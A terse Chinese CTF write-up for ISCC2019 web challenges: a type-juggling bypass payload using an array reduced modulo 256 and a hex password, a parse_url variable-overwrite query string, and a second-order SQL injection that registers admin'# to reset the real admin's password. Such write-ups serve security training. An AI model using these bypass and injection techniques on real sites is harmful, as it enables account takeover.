接收两个参数：value数组 password
代码审计
w3lc0me_To_ISCC2019
str函数转ascii码时自动取模256；password 采用16进制绕过
payload:
?/value[0]=316&value[1]=373&value[2]=364&value[3]=313&value[4]=374&value[5]=366&value[6]=360&value[7]=349&value[8]=376&value[9]=360&value[10]=338&value[11]=348&value[12]=332&value[13]=332&value[14]=315&value[15]=313&value[16]=314&value[17]=322&value[18]=256&password=0x2333
########################################################################################################################################
parse_url()函数变量覆盖
payload:
?action=auth&key=abcd&hashed_key=88d4266fd4e6338d13b845fcf289579d209c897823b9217da3e161936f031589
########################################################################################################################################
新注册一个用户：admin’#366 password: 123456
注册成功
使用注册的用户登录
更改密码，实际admin的密码也更改了。再使用admin登录即可。
